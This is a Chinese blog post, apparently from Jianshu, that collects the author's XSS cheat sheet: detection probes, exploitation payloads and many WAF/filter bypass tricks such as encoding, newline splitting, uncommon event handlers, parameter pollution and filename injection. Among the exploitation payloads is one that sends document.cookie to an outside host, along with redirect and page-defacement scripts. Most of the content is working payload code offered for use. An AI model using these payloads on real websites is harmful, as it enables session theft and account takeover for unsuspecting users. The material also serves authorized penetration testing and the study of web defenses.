xss个人经验总结

1,利用xss跳转网页 alert(window.location.href='http://www.sjtu.edu.cn')
2,弹出cookie alert(document.cookie)
2,可以试着对xss poc代码进行url编码再利用
3,闭合相应的标签;可以试着用“+”替代空格
4,cookie中有&等字符会分割cookie以至于打不到完整cookie这时可以用 escape(document.cookie)

经典POC

检测:
<script>alert('xss')</script>
<a href='' onclick=alert('xss')>type</a>
<img src=http://192.168.1.1/a.jpg onerror=alert('xss')>
<svg/onload=alert(1)>
利用:
<script>window.location='http://1.1.1.1'</script>
<iframe SRC="http://1.1.1.1/victim" height="0" width="0"></iframe>
<script>new Image().src="http://192.168.1.102/c.php?output="+document.cookie;</script>
<script>document.body.innerHTML=''<div style=visibility:visible;><h1>THIS WEBSITE IS UNDER ATTACK</h1></div>";</script>

技巧:

1. 过滤了script标签 :

<input/onclick=alert(111)>

2. hidden下隐藏表单触发事件弹窗

<input type=hidden value==11 accesskey="h" onclick=alert(111)>

firefox下按 shift+alt+h 触发
3. script隐藏绕过弹窗

<script src="data:,alert(111)"></SCRIPT>

4. 小括号过滤绕过弹窗

<img src=111111 onerror=alert&lpar;2&rpar;>

5. 闭合url跳转,绕过alert检测

www.baidu.com";prompt(111);//

6. asp.net开发网站

使用asp.net开发的网站,测试xss的时候可以采用:
使用unicode编码即可绕过,例如<被编码后成\u003c,后台会解码成<。如果\被过滤,可以用%替代。

原理:asp.net下会对程序进行最佳映射,然后会对unicode进行自动解码,最佳映射的时候payload会被执行。

7. 不同浏览器导致的差异问题

上传了一个xss文件,但用火狐和chrome访问发现会下载,但切换成ie浏览器会执行。

8. 双重url编码xss

9. web端和移动端的差异
输入xss代码在web端,web端发生过滤
移动端/手机app未过滤导致xss

10. 文件名xss

图片上传/文件上传,文件名xss payload然后上传。
1. <img src=a onerror=alert(1)>.png
2. &lt;img src=a onerror=alert(1)&gt;.png
3. " onclick="alert(1).png

waf绕过

了解javascript特性可以让我们更好的绕过waf
变量x的定义方式:

var x=1
const x=1
let x=1
self['x']=1
top['x']=1
window['x']=1
this['x']=1
a=1

了解变量的定义后针对性的绕过
猜测后台的过滤规则,针对过滤点,尝试绕过。例如在大部分情况下,小括号可以用反反引号代替,alert被过滤可以尝试confirm、prompt等

self[`ale`+`rt`]`1`
window[`pro`+`mpt`]`2`

万能的换行符
发现<a><iframe>标签没有过滤,但是过滤了alert、script等关键字

1.
<a Href="javas
cript:al
ert(1)//;
">aaa</a>
2.
<iframe ddd/src="j&#97;vascript:al
Ert
&#40; '123' &#41;"/>

:被过滤可以使用&colon;替代

冷门的javascript事件
常用的javascript事件,可能不在黑名单范围内:
常用的onclick、onerror大多数会被过滤,提供几个不常用的javascript事件:

<body onpageshow=top['alert'](1)>
<details onToGgle=a=prompt,a(2) open>
<body onscroll=alert(1)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
<marquee/onstart=confirm(2333)>/

水满则溢
输入一段payload:<img src=a onerror=alert(1)>
可能这个程序会把它过滤的一干二净,输入100个这样的payload,输入300个这样的payload......。玄学概率绕过。
参数溢出绕过waf
http://xx.com?a=n多个a">xss payload
参数污染导致的waf绕过
服务器在接受参数时,如果出现一个参数提交两次,content=1&content=2,最终的显示会是1,2的格式,由此可以利用参数污染漏洞将xss payload分割前后,导致waf绕过。

<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXBOPg">
注:第二个参数加个空格再继续跟payload

DOM xss挖掘

场景1
xss1.png
场景2
xss2.png
场景3
xss3.png
场景4

titile可控,JQuery attr导致的dom_xss


xss4.jpg
场景5

getElementByName导致的DOM-XSS漏洞


xss5.jpg

黑盒测试下的fuzz

html实体编码可以自动解析,在实战中可以使用下面的payload:

'"><img/src/onerror=alert(1)>&quot;&gt:&lt;/div&gt;&lt;img src=1 onerror=alert(1)&gt;">
假设做了一些过滤,可以采用:&lt;img src=1&gt;来尝试加载图片。
或者:&quot;&gt;&lt;iframe src=http://baidu.com&gt;进行初步探测。

参考:

https://www.cnblogs.com/darking/p/7865439.html
https://www.cnblogs.com/piaomiaohongchen/p/10084573.html
https://www.cnblogs.com/piaomiaohongchen/p/10337924.html

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • XSS常见Payload总结 XSS漏洞的存在与发生伴随两个概念: 输入函数和输出函数。XSS攻击Payload...
    BerL1n阅读 7,870评论 0 3
  • 浅谈XSS—字符编码和浏览器解析原理 XSS简介 XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascadin...
    Smi1e_阅读 10,104评论 2 3
  • 之前积累了XSS 有一段时间,因为目前开始了一件有趣的工程,需要整合非常多的知识,其中Web 安全这一块出现最多的...
    刀背藏身阅读 13,111评论 0 16
  • 事件源对象 event.srcElement.tagName event.srcElement.type 捕获释放...
    孤魂草阅读 4,444评论 0 0
  • 本博客转自:「作者:若愚链接:https://zhuanlan.zhihu.com/p/22361337来源:知乎...
    韩宝亿阅读 7,760评论 0 3

友情链接更多精彩内容